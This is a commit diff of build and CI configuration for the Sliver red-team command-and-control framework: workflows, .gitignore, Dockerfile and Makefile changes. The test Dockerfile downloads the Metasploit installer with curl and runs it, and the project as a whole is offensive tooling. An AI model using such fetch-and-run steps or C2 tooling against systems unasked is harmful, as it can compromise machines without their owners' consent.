Fix make token test

Merge pull request #1314 from BishopFox/b141dependabot/go_modules/github.com/klauspost/compress-1.16.6
Bump github.com/klauspost/compress from 1.16.5 to 1.16.6
2026-11-10 09:51:30 -10:00 · 2023-06-28 15:26:59 -07:00 · 2023-06-26 14:26:15 -05:00 · 2023-06-26 14:26:02 -05:00 · 2023-06-26 13:57:25 -05:00 · 2023-06-26 13:55:49 -05:00
7766 changed files with 5016550 additions and 211328 deletions
@@ -1,27 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
+/server/assets/fs/**.zip

-server/assets/fs/**.zip
+/*.sdk.tar.xz

-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe

-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe

-gui/
-gui/*
+/.vscode/
+/.vscode/*

-.vscode/
-.vscode/*
+/.github/
+/.github/*

-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md
@@ -0,0 +1 @@
+* @BishopFox/red-team
@@ -5,4 +5,4 @@ queries:
    uses: security-extended
    paths:
      - server
-      - implant
+      - client
@@ -0,0 +1,16 @@
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for go
+  - package-ecosystem: "gomod"
+    directory: "/"
+    schedule:
+      interval: "weekly"
@@ -2,147 +2,136 @@ name: Release

 on:
  push:
-    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
    branches: [master]

 jobs:
-
-  linux-windows-build:
-    name: Linux & Windows Build
+  servers-build:
+    name: Release Build Server
    if: startsWith( github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
+    timeout-minutes: 45
    steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"

-    - name: Go 1.16
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.16'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check Out Code
+        uses: actions/checkout@v3

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make servers

-    - name: Make
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Server Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: servers
+          path: ./sliver-server_*

-    - name: Make Windows
-      run: export PATH=/home/runner/go/bin/:$PATH && make windows
-
-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: windows
-        path:  ./sliver-*
-
-  macos-build:
-    name: MacOS Build
+  clients-build:
+    name: Release Build Client
    if: startsWith( github.ref, 'refs/tags/v')
-    runs-on: macos-latest
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
    steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"

-    - name: Go 1.16
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.16'
+      - name: Check Out Code
+        uses: actions/checkout@v3

-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Make
+        run: make clients

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
-
-    - name: Go Assets
-      run: ./go-assets.sh
-
-    - name: Make AMD64
-      run: make macos
-    
-    # - name: Make ARM64
-    #   run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: Client Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: clients
+          path: ./sliver-client_*

  tagged-release:
-
-    needs: [linux-windows-build, macos-build]
+    needs: [servers-build, clients-build]

    name: "Tagged Release"
    if: startsWith( github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
+    timeout-minutes: 45

    steps:
-    - run: mkdir -p ./release && mkdir -p ./artifacts
-    - uses: actions/download-artifact@v2
-      with:
-        path: ./artifacts
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds

-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/clients/* ./artifacts
+          cp ./builds/servers/* ./artifacts

-    - name: Release
-      run: mkdir -p ./release
+      - name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG

-    # Linux
-    - name: Linux AMD64
-      run: |
-        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
-        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
+      # Linux
+      - name: Linux 386 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
+      - name: Linux ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64

-    # Windows
-    - name: Windows AMD64
-      run: |
-        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
-        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
-        gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
+      # Windows
+      - name: Windows 386 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
+      - name: Windows ARM64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe

-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
-        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
+      # MacOS
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64

-    # MacOS ARM64
-    # - name: Package MacOS ARM64
-    #   run: |
-    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
-    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
+      # FreeBSD
+      - name: FreeBSD AMD64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
+      - name: FreeBSD ARM64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe

-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: false
-        files: |
-          ./release/*
+      - name: "Publish Release"
+        uses: "bishopfox/action-gh-release@v1"
+        with:
+          files: |
+            ./artifacts/*
@@ -11,18 +11,18 @@ on:
 jobs:
  CodeQL-Build:
    name: CodeQL Security Scan
-    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
    runs-on: ubuntu-latest
+    timeout-minutes: 90

    steps:
      # Setup go environment
-      - name: Go 1.16
-        uses: actions/setup-go@v2
+      - name: Go 1.20
+        uses: actions/setup-go@v4
        with:
-          go-version: "^1.16"
+          go-version: "^1.20"

      - name: Checkout repository
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
        with:
          # Must fetch at least the immediate parents so that if this is
          # a pull request then we can checkout the head of the pull request.
@@ -33,44 +33,21 @@ jobs:
      - name: OS Packages
        run: |
          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64
+          git build-essential zlib1g zlib1g-dev wget zip unzip

-      - name: Protoc
-        env:
-          PROTOC_VER: 3.11.4
-        run: |
-          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
+      - name: Check Out Code
+        uses: actions/checkout@v3

-      - name: Protoc-gen-go
-        env:
-          PROTOC_GEN_GO_VER: 1.3.5
-        run: |
-          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-          && tar xvf protoc-gen-go.tar.gz \
-          && cd protobuf-${PROTOC_GEN_GO_VER} \
-          && make install
-
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v2
-
-      - name: Go Assets
-        run: ./go-assets.sh
-
-      # Initializes the CodeQL tools for scanning.
      - name: Initialize CodeQL
-        uses: github/codeql-action/init@v1
+        uses: github/codeql-action/init@v2
        with:
          config-file: ./.github/codeql/codeql-config.yml
          languages: go

-      # Build the server ... is this necessary though?
-      - run: |
-          make linux
+      - name: Make
+        run: make

      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v2
        env:
          VERSION: ${{github.sha}}
@@ -1,75 +0,0 @@
-name: Build & Test
-on:
-  push:
-    branches: 
-      - test/*
-  pull_request:
-    branches:
-      - master
-
-jobs:
-
-  linux-windows-build:
-    name: Linux & Windows Build
-    runs-on: ubuntu-latest
-    steps:
-
-    - name: Go 1.16
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.16'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
-
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
-
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
-
-    - name: Go Assets
-      run: ./go-assets.sh
-
-    - name: Make
-      run: make linux
-
-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
-
-    - name: Make Windows
-      run: make windows
-  
-  macos-build:
-    name: MacOS Build
-    runs-on: macos-latest
-    steps:
-
-    - name: Go 1.16
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.16'
-
-    - name: Mingw
-      run: brew install mingw-w64
-
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
-
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
-
-    - name: Go Assets
-      run: ./go-assets.sh
-
-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
@@ -0,0 +1,95 @@
+name: Build & Test
+on:
+  pull_request:
+    branches:
+      - master
+    types:
+      - opened
+      - reopened
+      - synchronize
+      - ready_for_review
+
+jobs:
+  linux-windows-build-test:
+    name: Linux & Windows Test
+    runs-on: ubuntu-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
+
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+
+      - name: Check Out Code
+        uses: actions/checkout@v3
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make Linux (amd64)
+        run: make linux-amd64
+
+      - name: Test Linux
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows (amd64)
+        run: make windows-amd64
+
+      - name: Make Linux (arm64)
+        run: make linux-arm64
+
+  macos-build-test:
+    name: MacOS Test
+    runs-on: macos-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
+
+      - name: Mingw
+        run: brew install mingw-w64
+
+      - name: Check Out Code
+        uses: actions/checkout@v3
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make MacOS (amd64)
+        run: make macos-amd64
+
+      - name: Test MacOS (amd64)
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make MacOS (arm64)
+        run: make macos-arm64
+
+  clients-build:
+    name: Clients Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
+
+      - name: Check Out Code
+        uses: actions/checkout@v3
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make
+        run: make clients
@@ -1,10 +1,11 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
+/.idea

-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz

-release-*
+/release-*

 # Diffs
 *.orig
@@ -13,10 +14,12 @@ release-*
 /sliver-server
 /sliver-server_arm64
 /sliver.exe
+/sliver-server_*

 /sliver-client
 /sliver-client_arm64
 /sliver-client.exe
+/sliver-client_*

 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -30,12 +33,18 @@ sliver-server-windows.zip
 *.dylib

 # Test binary, build with `go test -c`
-*.test
+/*.test
+/test.py

 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out

 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

 .DS_Store
+
+dist/
+
+# Flag to show that go-assets.sh has been run
+.downloaded_assets
@@ -24,9 +24,10 @@ Contributing to Sliver
 * _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
 * Whenever possible, use the following algorithms/encryption modes:
    - AES-GCM-256
-    - RSA-OAEP-2048 / RSA-OAEP-4096
    - SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
    - Curves P521, P384, P256
+    - Curve25519, XSalsa20, and Poly1305 (Nacl)
+    - ChaCha20Poly1305
 * _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
    - MD5
    - SHA1
@@ -1,4 +1,4 @@
-FROM golang:1.16.5
+FROM golang:1.20.4

 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.16.5
 #            a Docker deployment this is probably a good place to start.
 #

-ENV PROTOC_VER 3.17.1
-ENV PROTOC_GEN_GO_VER v1.26.0
-ENV GRPC_GO v1.1.0
+ENV PROTOC_VER 21.12
+ENV PROTOC_GEN_GO_VER v1.27.1
+ENV GRPC_GO v1.2.0

 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-  git build-essential zlib1g zlib1g-dev \
-  libxml2 libxml2-dev libxslt-dev locate curl \
-  libreadline6-dev libcurl4-openssl-dev git-core \
-  libssl-dev libyaml-dev openssl autoconf libtool \
-  ncurses-dev bison curl wget xsel postgresql \
-  postgresql-contrib postgresql-client libpq-dev \
-  libapr1 libaprutil1 libsvn1 \
-  libpcap-dev libsqlite3-dev libgmp3-dev \
-  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-  nasm gcc-multilib
+    git build-essential zlib1g zlib1g-dev \
+    libxml2 libxml2-dev libxslt-dev locate curl \
+    libreadline6-dev libcurl4-openssl-dev git-core \
+    libssl-dev libyaml-dev openssl autoconf libtool \
+    ncurses-dev bison curl wget xsel postgresql \
+    postgresql-contrib postgresql-client libpq-dev \
+    libapr1 libaprutil1 libsvn1 \
+    libpcap-dev libsqlite3-dev libgmp3-dev \
+    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+    nasm gcc-multilib

 #
 # > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 # > Metasploit
 #
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-  && chmod 755 msfinstall \
-  && ./msfinstall
+    && chmod 755 msfinstall \
+    && ./msfinstall
 RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'

@@ -42,26 +42,26 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #

-# protoc
-WORKDIR /tmp
-RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-    && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-    && cp -vv ./bin/protoc /usr/local/bin
+# Protoc
+# WORKDIR /tmp
+# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+#     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+#     && cp -vv ./bin/protoc /usr/local/bin
+# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
+#     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}

-RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
-    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
-
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make clean-all \
+    && make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 

-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
    && rm -rf /go/src/* \
    && rm -rf /home/sliver/.sliver
@@ -3,128 +3,188 @@
 #

 GO ?= go
-ENV = CGO_ENABLED=1
-TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
-
-#
-# Version Information
-#
-GO_VERSION = $(shell $(GO) version)
-VERSION ?= $(shell git describe --abbrev=0)
-COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-PKG = github.com/bishopfox/sliver/client/version
-GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
-GIT_COMMIT = $(shell git rev-parse HEAD)
-LDFLAGS = -ldflags "-s -w \
-	-X $(PKG).Version=$(VERSION) \
-	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(PKG).GitDirty=$(GIT_DIRTY)"
+ARTIFACT_SUFFIX ?= 
+ENV =
+TAGS ?= -tags osusergo,netgo,go_sqlite
+CGO_ENABLED = 0

+ifneq (,$(findstring cgo_sqlite,$(TAGS)))
+	CGO_ENABLED = 1
+endif

 #
 # Prerequisites 
 #
 # https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
-EXECUTABLES = uname sed git zip date $(GO)
+EXECUTABLES = uname sed git zip date cut $(GO)
 K := $(foreach exec,$(EXECUTABLES),\
        $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))

+#
+# Version Information
+#
+GO_VERSION = $(shell $(GO) version)
+GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
+GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
+MIN_SUPPORTED_GO_MAJOR_VERSION = 1
+MIN_SUPPORTED_GO_MINOR_VERSION = 20
+GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
+
+VERSION ?= $(shell git describe --abbrev=0)
+COMPILED_AT = $(shell date +%s)
+RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
+ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
+VERSION_PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
+
+GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
+GIT_COMMIT = $(shell git rev-parse HEAD)
+
+LDFLAGS = -ldflags "-s -w \
+	-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+
+# Debug builds shouldn't be stripped (-s -w flags)
+LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+
 SED_INPLACE := sed -i
 STATIC_TARGET := linux

 UNAME_S := $(shell uname -s)
 UNAME_P := $(shell uname -p)

-# If the target is Windows from Linux/Darwin, check for mingw
-CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
-
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
 	K := $(foreach exec,$(PB_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
 endif

-# *** Start Darwin ***
+# *** Darwin ***
 ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
+endif

+# If no target is specified, determine GOARCH
 ifeq ($(UNAME_P),arm)
-	ENV += GOARCH=arm64
-endif
-
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-endif
-
-endif
-# *** End Darwin ***
-
-# *** Start Linux ***
-ifeq ($(UNAME_S),Linux)
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-endif
+	ifeq ($(MAKECMDGOALS), )
+		ENV += GOARCH=arm64
+	endif
 endif

 ifeq ($(MAKECMDGOALS), linux)
 	# Redefine LDFLAGS to add the static part
 	LDFLAGS = -ldflags "-s -w \
 		-extldflags '-static' \
-		-X $(PKG).Version=$(VERSION) \
-		-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-		-X $(PKG).CompiledAt=$(COMPILED_AT) \
-		-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-		-X $(PKG).GitCommit=$(GIT_COMMIT) \
-		-X $(PKG).GitDirty=$(GIT_DIRTY)"
+		-X $(VERSION_PKG).Version=$(VERSION) \
+		-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
-# *** End Linux ***

 #
 # Targets
 #
 .PHONY: default
-default: clean
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+default: clean .downloaded_assets validate-go-version
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: macos
-macos: clean
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
+# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
+.PHONY: client
+client: clean .downloaded_assets validate-go-version
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+
+.PHONY: macos-amd64
